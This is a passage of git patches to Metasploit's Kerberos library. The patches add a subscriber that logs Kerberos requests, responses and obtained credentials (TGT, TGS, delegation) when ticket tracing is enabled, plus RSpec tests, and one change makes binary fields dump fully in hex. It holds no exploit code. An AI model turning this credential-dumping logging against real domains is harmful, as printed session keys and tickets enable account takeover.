+    # @param response [Rex::Proto::Kerberos::Model::KdcResponse, Rex::Proto::Kerberos::Model::ApRep, Rex::Proto::Kerberos::Model::KrbError]
+    def on_response(response)
+      nil
+    end
+  end
+
+end
+end
+end
\ No newline at end of file
diff --git a/spec/lib/rex/proto/kerberos/client_spec.rb b/spec/lib/rex/proto/kerberos/client_spec.rb
index 1d396f44025c4..c3a09553f178e 100644
--- a/spec/lib/rex/proto/kerberos/client_spec.rb
+++ b/spec/lib/rex/proto/kerberos/client_spec.rb
@@ -24,11 +24,13 @@ def get_once(length, timeout = 10)
 
   let(:rhost) { '127.0.0.1' }
   let(:rport) { 88 }
+  let(:subscriber) { instance_double(Rex::Proto::Kerberos::KerberosSubscriber, on_request: nil, on_response: nil) }
 
   subject(:client) do
     opts = {
       host: rhost,
       port: rport,
+      subscriber: subscriber
     }
     described_class.new(opts)
   end
@@ -119,6 +121,7 @@ def get_once(length, timeout = 10)
     context "when TCP connection" do
       it "returns the written data length" do
         request = Rex::Proto::Kerberos::Model::KdcRequest.decode(sample_asn1_request)
+        expect(subscriber).to receive(:on_request).with(request)
         expect(subject.send_request(request)).to eq(req_length)
       end
     end
@@ -171,6 +174,7 @@ def get_once(length, timeout = 10)
           subject.connect
           subject.connection.write(res_error)
           subject.connection.seek(0)
+          expect(subscriber).to receive(:on_response).with(instance_of(Rex::Proto::Kerberos::Model::KrbError))
           expect(subject.recv_response).to be_a(Rex::Proto::Kerberos::Model::KrbError)
         end
       end
@@ -180,6 +184,7 @@ def get_once(length, timeout = 10)
           subject.connect
           subject.connection.write(res_valid)
           subject.connection.seek(0)
+          expect(subscriber).to receive(:on_response).with(instance_of(Rex::Proto::Kerberos::Model::KdcResponse))
           expect(subject.recv_response).to be_a(Rex::Proto::Kerberos::Model::KdcResponse)
         end
       end
diff --git a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
new file mode 100644
index 0000000000000..bea5094a5e2c6
--- /dev/null
+++ b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
@@ -0,0 +1,347 @@
+# -*- coding:binary -*-
+
+require 'spec_helper'
+
+RSpec.describe Rex::Proto::Kerberos::KerberosLoggerSubscriber do
+  include_context 'Msf::UIDriver'
+
+  let(:mock_module) { instance_double(Msf::Exploit, datastore: mock_datastore) }
+
+  subject(:subscriber) do
+    capture_logging(mock_module)
+    described_class.new(logger: mock_module)
+  end
+
+  let(:mock_datastore) do
+    {
+      'KerberosTicketTrace' => true
+    }
+  end
+
+  let(:request) do
+    build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ)
+  end
+
+  let(:response) do
+    build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP)
+  end
+
+  describe '#on_request' do
+    let(:normal_request_output) do
+      [
+        '####################',
+        '# Kerberos Request: AS-REQ',
+        '####################',
+        '%clr%bld%red{',
+        '  "pvno": 5,',
+        "  \"msg_type\": #{Rex::Proto::Kerberos::Model::AS_REQ},",
+        '  "crealm": "EXAMPLE.LOCAL"',
+        '}%clr'
+      ]
+    end
+
+    context 'when KerberosTicketTrace is enabled' do
+      it 'logs AS-REQ messages with default request color' do
+        subscriber.on_request(request)
+
+        expect(@output).to eq(normal_request_output)
+      end
+    end
+
+    context 'when KerberosTicketTrace is disabled' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => false
+        }
+      end
+
+      it 'does not log request data' do
+        subscriber.on_request(request)
+
+        expect(@output).to be_nil
+      end
+    end
+
+    context 'when KerberosTicketTrace is unset' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => nil
+        }
+      end
+
+      it 'does not log request data' do
+        subscriber.on_request(request)
+
+        expect(@output).to be_nil
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'blu/grn'
+        }
+      end
+
+      it 'uses custom request color' do
+        subscriber.on_request(request)
+
+        expect(@output[3]).to eq('%clr%bld%blu{')
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to a single request color with trailing slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'yel/'
+        }
+      end
+
+      it 'uses the configured request color' do
+        subscriber.on_request(request)
+
+        expect(@output[3]).to eq('%clr%bld%yel{')
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to response color only with a leading slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => '/yel'
+        }
+      end
+
+      it 'logs request without color formatting' do
+        subscriber.on_request(request)
+
+        expect(@output[3]).to eq('%clr{')
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to slash only' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => '/'
+        }
+      end
+
+      it 'logs request without color formatting' do
+        subscriber.on_request(request)
+
+        expect(@output[3]).to eq('%clr{')
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to a single color without slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'yel'
+        }
+      end
+
+      it 'uses the configured request color' do
+        subscriber.on_request(request)
+
+        expect(@output[3]).to eq('%clr%bld%yel{')
+      end
+    end
+
+    context 'when request type is unknown' do
+      let(:request) do
+        build_kerberos_message(msg_type: 999)
+      end
+
+      it 'logs request with UNKNOWN header' do
+        subscriber.on_request(request)
+
+        expect(@output).to include('# Kerberos Request: UNKNOWN (999)')
+      end
+    end
+  end
+
+  describe '#on_response' do
+    let(:normal_response_output) do
+      [
+        '####################',
+        '# Kerberos Response: AS-REP',
+        '####################',
+        '%clr%bld%blu{',
+        '  "pvno": 5,',
+        "  \"msg_type\": #{Rex::Proto::Kerberos::Model::AS_REP},",
+        '  "crealm": "EXAMPLE.LOCAL"',
+        '}%clr'
+      ]
+    end
+
+    let(:nil_response_output) do
+      [
+        '####################',
+        '# Kerberos Response: UNKNOWN',
+        '####################',
+        'No response received'
+      ]
+    end
+
+    context 'when KerberosTicketTrace is enabled' do
+      it 'logs AS-REP messages with default response color' do
+        subscriber.on_response(response)
+
+        expect(@output).to eq(normal_response_output)
+      end
+
+      it 'logs missing responses' do
+        subscriber.on_response(nil)
+
+        expect(@output).to eq(nil_response_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'blu/grn'
+        }
+      end
+
+      it 'uses custom response color' do
+        subscriber.on_response(response)
+
+        expect(@output[3]).to eq('%clr%bld%grn{')
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to a single request color with trailing slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'yel/'
+        }
+      end
+
+      it 'logs response without color formatting' do
+        subscriber.on_response(response)
+
+        expect(@output[3]).to eq('%clr{')
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to response color only with a leading slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => '/yel'
+        }
+      end
+
+      it 'uses the configured response color' do
+        subscriber.on_response(response)
+
+        expect(@output[3]).to eq('%clr%bld%yel{')
+      end
+    end
+  end
+
+  describe 'request message type mapping' do
+    {
+      Rex::Proto::Kerberos::Model::AS_REQ => 'AS-REQ',
+      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
+      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
+      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
+    }.each do |msg_type, msg_name|
+      it "maps request msg_type #{msg_type} to #{msg_name}" do
+        subscriber.on_request(build_kerberos_message(msg_type: msg_type))
+
+        expect(@output).to include("# Kerberos Request: #{msg_name}")
+      end
+    end
+  end
+
+  describe 'response message type mapping' do
+    {
+      Rex::Proto::Kerberos::Model::AS_REP => 'AS-REP',
+      Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
+      Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
+      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
+    }.each do |msg_type, msg_name|
+      it "maps response msg_type #{msg_type} to #{msg_name}" do
+        subscriber.on_response(build_kerberos_message(msg_type: msg_type))
+
+        expect(@output).to include("# Kerberos Response: #{msg_name}")
+      end
+    end
+  end
+
+  describe 'value serialization' do
+    context 'when serializing a binary string' do
+      let(:binary_preview) { '00' * 32 }
+      let(:request) do
+        build_kerberos_message(
+          msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
+          fields: { ticket: ("\x00".b * 40) }
+        )
+      end
+
+      it 'logs a bounded binary preview instead of raw data' do
+        subscriber.on_request(request)
+
+        expect(@output.any? { |line| line.include?("[binary 40 bytes: #{binary_preview}...]") }).to be(true)
+      end
+    end
+
+    context 'when serializing structured values' do
+      let(:error_code) do
+        double(
+          'error_code',
+          name: 'KRB_AP_ERR_MODIFIED',
+          value: 41,
+          description: 'Message stream modified'
+        )
+      end
+
+      let(:request_time) { Time.utc(2026, 3, 7, 12, 0, 0) }
+      let(:request) do
+        build_kerberos_message(
+          msg_type: Rex::Proto::Kerberos::Model::KRB_ERROR,
+          fields: {
+            stime: request_time,
+            tags: %i[ap error],
+            metadata: { source: :kdc },
+            error_code: error_code
+          }
+        )
+      end
+
+      it 'serializes time, symbols, hashes, arrays and error-code objects' do
+        subscriber.on_request(request)
+
+        expect(@output).to include('  "stime": "2026-03-07T12:00:00Z",')
+        expect(@output).to include('    "ap",')
+        expect(@output).to include('    "error"')
+        expect(@output).to include('    "source": "kdc"')
+        expect(@output).to include('    "name": "KRB_AP_ERR_MODIFIED",')
+        expect(@output).to include('    "value": 41,')
+        expect(@output).to include('    "description": "Message stream modified"')
+      end
+    end
+  end
+
+  def build_kerberos_message(msg_type:, fields: {})
+    payload = {
+      pvno: 5,
+      msg_type: msg_type,
+      crealm: 'EXAMPLE.LOCAL'
+    }.merge(fields)
+
+    double(
+      'kerberos_message',
+      attributes: payload.keys,
+      **payload
+    )
+  end
+end

From 52a37a43f8962149542d91372f29220c83afde29 Mon Sep 17 00:00:00 2001
From: cyan <1570302455@qq.com>
Date: Sun, 8 Mar 2026 06:22:37 -0700
Subject: [PATCH 099/103] Address review feedback for Kerberos ticket trace
 logging

---
 .../kerberos/service_authenticator/base.rb    |   9 +-
 .../kerberos/kerberos_logger_subscriber.rb    |  47 +-
 lib/rex/proto/kerberos/kerberos_subscriber.rb |   8 +-
 .../kerberos_logger_subscriber_spec.rb        | 894 ++++++++++++++----
 4 files changed, 748 insertions(+), 210 deletions(-)

diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
index e682bb360549e..942a0a8398126 100644
--- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
+++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
@@ -664,6 +664,7 @@ def authenticate_via_kdc(options = {})
     options.fetch(:ticket_storage, @ticket_storage).store_ccache(ccache, host: rhost)
 
     credential = ccache.credentials.first
+    kerberos_trace_subscriber.on_credential(credential, source: 'TGT')
     session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
       type: credential.keyblock.enctype.value,
       value: credential.keyblock.data.value
@@ -782,6 +783,8 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes,
       client: client,
       server: sname
     )
+    credential = ccache.credentials.first
+    kerberos_trace_subscriber.on_credential(credential, source: 'TGS')
 
     tgs_ticket = tgs_res.ticket
     tgs_auth = decrypt_kdc_tgs_rep_enc_part(
@@ -790,7 +793,7 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes,
       msg_type: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REP_ENCPART_SESSION_KEY
     )
 
-    [tgs_ticket, tgs_auth, ccache.credentials.first]
+    [tgs_ticket, tgs_auth, credential]
   end
 
   private
@@ -1073,8 +1076,10 @@ def request_delegation_ticket(session_key, tgt_ticket, realm, client_name, tgt_e
     )
 
     ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(delegated_tgs_res, delegated_tgs_auth)
+    delegated_credential = ccache.credentials.first
+    kerberos_trace_subscriber.on_credential(delegated_credential, source: 'Delegation TGS')
 
-    [delegated_tgs_ticket, delegated_tgs_auth, ccache.credentials.first]
+    [delegated_tgs_ticket, delegated_tgs_auth, delegated_credential]
   end
 
   # Search the database for a credential object that can be used for authentication.
diff --git a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
index 8cb127bedc06c..bde33004aefd7 100644
--- a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
@@ -1,9 +1,11 @@
 # -*- coding: binary -*-
 
 require 'json'
+require 'set'
 require 'time'
 require 'rex/proto/kerberos/model'
 require 'rex/proto/kerberos/kerberos_subscriber'
+require 'rex/proto/kerberos/credential_cache/krb5_ccache_presenter'
 
 module Rex
 module Proto
@@ -11,9 +13,6 @@ module Kerberos
 
   # Logs Kerberos requests/responses
   class KerberosLoggerSubscriber < KerberosSubscriber
-    # Limit binary previews to keep logs readable and avoid dumping large blobs.
-    BINARY_PREVIEW_SIZE = 32
-
     def initialize(logger:)
       super()
       raise RuntimeError, "Incompatible logger" unless logger.respond_to?(:print_line) && logger.respond_to?(:datastore)
@@ -43,6 +42,15 @@ def on_response(response)
       @logger.print_line("%clr#{response_color}#{format_message(response)}%clr")
     end
 
+    # (see Rex::Proto::Kerberos::KerberosSubscriber#on_credential)
+    def on_credential(credential, source: nil)
+      return unless trace_enabled?
+      return if credential.nil?
+
+      print_credential_header(source)
+      @logger.print_line(format_credential(credential))
+    end
+
     private
 
     def trace_enabled?
@@ -65,6 +73,12 @@ def print_header(direction, message)
       @logger.print_line('#' * 20)
     end
 
+    def print_credential_header(source)
+      @logger.print_line('#' * 20)
+      @logger.print_line("# Kerberos Credential#{source ? ": #{source}" : ''}")
+      @logger.print_line('#' * 20)
+    end
+
     def message_type_name(message)
       msg_type = message.msg_type if message.respond_to?(:msg_type)
       case msg_type
@@ -101,6 +115,16 @@ def format_message(message)
       end
     end
 
+    def format_credential(credential)
+      rendered_credential = ticket_presenter.present_cred(credential)
+      [
+        'Creds: 1',
+        "  Credential[0]:\n#{rendered_credential.indent(4)}"
+      ].join("\n")
+    rescue StandardError => e
+      "Credential presenter error: #{e.class}: #{e.message}"
+    end
+
     def serialize_element(element)
       element.attributes.each_with_object({}) do |attribute, output|
         value = element.public_send(attribute)
@@ -130,10 +154,17 @@ def serialize_scalar_value(value)
       case value
       when Array
         value.map { |entry| serialize_value(entry) }
+      when Set
+        value.to_a.map { |entry| serialize_value(entry) }
       when Hash
         value.each_with_object({}) do |(key, entry), output|
           output[key.to_s] = serialize_value(entry)
         end
+      when Rex::Proto::Kerberos::Model::KerberosFlags
+        {
+          'value' => value.to_i,
+          'flags' => value.enabled_flag_names.map(&:to_s)
+        }
       when Time
         value.utc.iso8601
       when String
@@ -154,10 +185,12 @@ def kerberos_error_code?(value)
     def serialize_string(value)
       return value if printable_string?(value)
 
-      # Show a short hex prefix when strings are binary/non-printable.
-      preview = value.byteslice(0, BINARY_PREVIEW_SIZE).to_s.unpack1('H*')
-      suffix = value.bytesize > BINARY_PREVIEW_SIZE ? '...' : ''
-      "[binary #{value.bytesize} bytes: #{preview}#{suffix}]"
+      # Expand binary/non-printable strings fully in hex.
+      "[binary #{value.bytesize} bytes: #{value.unpack1('H*')}]"
+    end
+
+    def ticket_presenter
+      @ticket_presenter ||= Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(nil)
     end
 
     def printable_string?(value)
diff --git a/lib/rex/proto/kerberos/kerberos_subscriber.rb b/lib/rex/proto/kerberos/kerberos_subscriber.rb
index fac59992f76ff..486d35b661a56 100644
--- a/lib/rex/proto/kerberos/kerberos_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_subscriber.rb
@@ -15,8 +15,14 @@ def on_request(request)
     def on_response(response)
       nil
     end
+
+    # @param credential [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential]
+    # @param source [String,nil]
+    def on_credential(credential, source: nil)
+      nil
+    end
   end
 
 end
 end
-end
\ No newline at end of file
+end
diff --git a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
index bea5094a5e2c6..e4b654494fee5 100644
--- a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
+++ b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
@@ -1,300 +1,335 @@
-# -*- coding:binary -*-
+# -*- coding: binary -*-
 
+require 'set'
 require 'spec_helper'
 
 RSpec.describe Rex::Proto::Kerberos::KerberosLoggerSubscriber do
   include_context 'Msf::UIDriver'
 
-  let(:mock_module) { instance_double(Msf::Exploit, datastore: mock_datastore) }
-
-  subject(:subscriber) do
-    capture_logging(mock_module)
-    described_class.new(logger: mock_module)
-  end
+  subject(:subscriber) { described_class.new(logger: logger) }
 
+  let(:trace_enabled) { true }
+  let(:trace_colors) { nil }
   let(:mock_datastore) do
     {
-      'KerberosTicketTrace' => true
+      'KerberosTicketTrace' => trace_enabled,
+      'KerberosTicketTraceColors' => trace_colors
     }
   end
+  let(:logger) { instance_double(Msf::Exploit, datastore: mock_datastore) }
+  let(:output_text) { @output&.join("\n") }
 
-  let(:request) do
-    build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ)
-  end
+  describe '#initialize' do
+    subject(:build_subscriber) { described_class.new(logger: logger) }
 
-  let(:response) do
-    build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP)
-  end
+    context 'when logger responds to print_line and datastore' do
+      let(:logger) { double('logger', print_line: nil, datastore: {}) }
 
-  describe '#on_request' do
-    let(:normal_request_output) do
-      [
-        '####################',
-        '# Kerberos Request: AS-REQ',
-        '####################',
-        '%clr%bld%red{',
-        '  "pvno": 5,',
-        "  \"msg_type\": #{Rex::Proto::Kerberos::Model::AS_REQ},",
-        '  "crealm": "EXAMPLE.LOCAL"',
-        '}%clr'
-      ]
+      it 'initializes successfully' do
+        expect { build_subscriber }.not_to raise_error
+      end
     end
 
-    context 'when KerberosTicketTrace is enabled' do
-      it 'logs AS-REQ messages with default request color' do
-        subscriber.on_request(request)
+    context 'when logger does not respond to print_line' do
+      let(:logger) { double('logger', datastore: {}) }
 
-        expect(@output).to eq(normal_request_output)
+      it 'raises an incompatible logger error' do
+        expect { build_subscriber }.to raise_error(RuntimeError, 'Incompatible logger')
       end
     end
 
-    context 'when KerberosTicketTrace is disabled' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => false
-        }
-      end
-
-      it 'does not log request data' do
-        subscriber.on_request(request)
+    context 'when logger does not respond to datastore' do
+      let(:logger) { double('logger', print_line: nil) }
 
-        expect(@output).to be_nil
+      it 'raises an incompatible logger error' do
+        expect { build_subscriber }.to raise_error(RuntimeError, 'Incompatible logger')
       end
     end
+  end
 
-    context 'when KerberosTicketTrace is unset' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => nil
-        }
-      end
+  describe '#on_request' do
+    subject(:log_request) { subscriber.on_request(request_message) }
 
-      it 'does not log request data' do
-        subscriber.on_request(request)
+    let(:request_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ) }
 
-        expect(@output).to be_nil
-      end
+    before do
+      capture_logging(logger)
     end
 
-    context 'when KerberosTicketTraceColors is set' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'blu/grn'
-        }
+    context 'when KerberosTicketTrace is enabled with default colors' do
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'uses custom request color' do
-        subscriber.on_request(request)
+      it 'prints a colored request header and JSON payload' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%blu{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to a single request color with trailing slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'yel/'
-        }
-      end
+    context 'when KerberosTicketTrace is false' do
+      let(:trace_enabled) { false }
 
-      it 'uses the configured request color' do
-        subscriber.on_request(request)
+      it 'does not print anything' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%yel{')
+        expect(output_text).to be_nil
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to response color only with a leading slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => '/yel'
-        }
-      end
+    context 'when KerberosTicketTrace is nil' do
+      let(:trace_enabled) { nil }
 
-      it 'logs request without color formatting' do
-        subscriber.on_request(request)
+      it 'does not print anything' do
+        log_request
 
-        expect(@output[3]).to eq('%clr{')
+        expect(output_text).to be_nil
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to slash only' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => '/'
-        }
+    context 'when request msg_type is unknown' do
+      let(:request_message) { build_kerberos_message(msg_type: 999) }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: UNKNOWN (999)
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": 999,
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'logs request without color formatting' do
-        subscriber.on_request(request)
+      it 'prints UNKNOWN with the numeric msg_type' do
+        log_request
 
-        expect(@output[3]).to eq('%clr{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to a single color without slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'yel'
-        }
+    context 'when request object does not expose attributes' do
+      let(:request_message) { 'raw-payload' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: UNKNOWN
+          ####################
+          %clr%bld%redraw-payload%clr
+        EOF
       end
 
-      it 'uses the configured request color' do
-        subscriber.on_request(request)
+      it 'falls back to to_s formatting' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%yel{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when request type is unknown' do
-      let(:request) do
-        build_kerberos_message(msg_type: 999)
+    context 'when KerberosTicketTraceColors is set to red/blu' do
+      let(:trace_colors) { 'red/blu' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'logs request with UNKNOWN header' do
-        subscriber.on_request(request)
+      it 'uses the configured request color' do
+        log_request
 
-        expect(@output).to include('# Kerberos Request: UNKNOWN (999)')
+        expect(output_text).to eq(expected_output)
       end
     end
-  end
-
-  describe '#on_response' do
-    let(:normal_response_output) do
-      [
-        '####################',
-        '# Kerberos Response: AS-REP',
-        '####################',
-        '%clr%bld%blu{',
-        '  "pvno": 5,',
-        "  \"msg_type\": #{Rex::Proto::Kerberos::Model::AS_REP},",
-        '  "crealm": "EXAMPLE.LOCAL"',
-        '}%clr'
-      ]
-    end
 
-    let(:nil_response_output) do
-      [
-        '####################',
-        '# Kerberos Response: UNKNOWN',
-        '####################',
-        'No response received'
-      ]
-    end
-
-    context 'when KerberosTicketTrace is enabled' do
-      it 'logs AS-REP messages with default response color' do
-        subscriber.on_response(response)
-
-        expect(@output).to eq(normal_response_output)
+    context 'when KerberosTicketTraceColors is set to yel/' do
+      let(:trace_colors) { 'yel/' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%yel{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'logs missing responses' do
-        subscriber.on_response(nil)
+      it 'uses the configured request color with a blank response color' do
+        log_request
 
-        expect(@output).to eq(nil_response_output)
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'blu/grn'
-        }
+    context 'when KerberosTicketTraceColors is set to /grn' do
+      let(:trace_colors) { '/grn' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'uses custom response color' do
-        subscriber.on_response(response)
+      it 'uses no request color when the request side is blank' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%grn{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to a single request color with trailing slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'yel/'
-        }
+    context 'when KerberosTicketTraceColors is set to blu' do
+      let(:trace_colors) { 'blu' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%blu{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'logs response without color formatting' do
-        subscriber.on_response(response)
+      it 'treats a single color as request-only' do
+        log_request
 
-        expect(@output[3]).to eq('%clr{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to response color only with a leading slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => '/yel'
-        }
+    context 'when KerberosTicketTraceColors is set to /' do
+      let(:trace_colors) { '/' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'uses the configured response color' do
-        subscriber.on_response(response)
+      it 'disables both request and response color prefixes' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%yel{')
+        expect(output_text).to eq(expected_output)
       end
     end
-  end
 
-  describe 'request message type mapping' do
-    {
-      Rex::Proto::Kerberos::Model::AS_REQ => 'AS-REQ',
-      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
-      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
-      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
-    }.each do |msg_type, msg_name|
-      it "maps request msg_type #{msg_type} to #{msg_name}" do
-        subscriber.on_request(build_kerberos_message(msg_type: msg_type))
+    context 'when KerberosTicketTraceColors is blank' do
+      let(:trace_colors) { '   ' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'falls back to default red/blu colors' do
+        log_request
 
-        expect(@output).to include("# Kerberos Request: #{msg_name}")
+        expect(output_text).to eq(expected_output)
       end
     end
-  end
 
-  describe 'response message type mapping' do
     {
       Rex::Proto::Kerberos::Model::AS_REP => 'AS-REP',
+      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
       Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
+      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
       Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
       Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
     }.each do |msg_type, msg_name|
-      it "maps response msg_type #{msg_type} to #{msg_name}" do
-        subscriber.on_response(build_kerberos_message(msg_type: msg_type))
-
-        expect(@output).to include("# Kerberos Response: #{msg_name}")
+      context "when request msg_type is #{msg_name}" do
+        let(:request_message) { build_kerberos_message(msg_type: msg_type) }
+        let(:expected_output) do
+          <<~EOF.rstrip
+            ####################
+            # Kerberos Request: #{msg_name}
+            ####################
+            %clr%bld%red{
+              "pvno": 5,
+              "msg_type": #{msg_type},
+              "crealm": "EXAMPLE.LOCAL"
+            }%clr
+          EOF
+        end
+
+        it 'maps message type to the expected label' do
+          log_request
+
+          expect(output_text).to eq(expected_output)
+        end
       end
     end
-  end
 
-  describe 'value serialization' do
-    context 'when serializing a binary string' do
